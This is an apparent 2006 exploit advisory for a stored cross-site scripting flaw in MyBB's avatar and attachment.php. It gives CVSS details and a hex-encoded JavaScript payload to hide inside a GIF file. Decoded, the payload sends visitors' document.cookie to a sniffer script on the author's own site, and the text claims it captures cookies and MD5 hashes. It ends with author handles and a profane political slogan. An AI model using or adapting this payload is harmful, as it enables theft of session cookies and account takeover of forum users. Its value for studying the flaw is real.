MyBB Html Injection ( XSS )

2006.08.31
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 5.1/10
Impact Subscore: 6.4/10
Exploitability Subscore: 4.9/10
Exploit range: Remote
Attack complexity: High
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

Hi ################################################ MyBB Have Xss In Avatar And Attachment.php ################################################ HEX editor With GIF picture Open , JS code are writing. ~~~~~~ GIF89ajscode ~~~~~~ Js Code:Hex: &3c%73%63%72%69%70%74%3e%69%6d%67%20%3d%20%6e%65%77%20%49%6d%61%67%65%28 %29%3b%20%69%6d%67%2e%73%72%63%20%3d%20%22%68%74%74%70%3a%2f%2f%77%77%77 %2e%68%61%79%6c%61%7a%6c%61%72%2e%6f%72%67%2f%73%6e%69%66%66%65%72%2f%73 %2e%70%68%70%3f%22%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3b%3c %2f%73%63%72%69%70%74%3e ################################################# We are joining official to the page,but Attachment do.and attachment taking the address. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~ http://Site/MyBB/attachment.php?aid=? Cookies , MD5 able to take Redworm || ZeberuS Redworm (at) Redworm (dot) Us [email concealed] || ZeberuS (at) ZeberuS (dot) com [email concealed] Kahrolsun Pkk Aq No War Israel ! Stop War ! wWw.Haylazlar.Org


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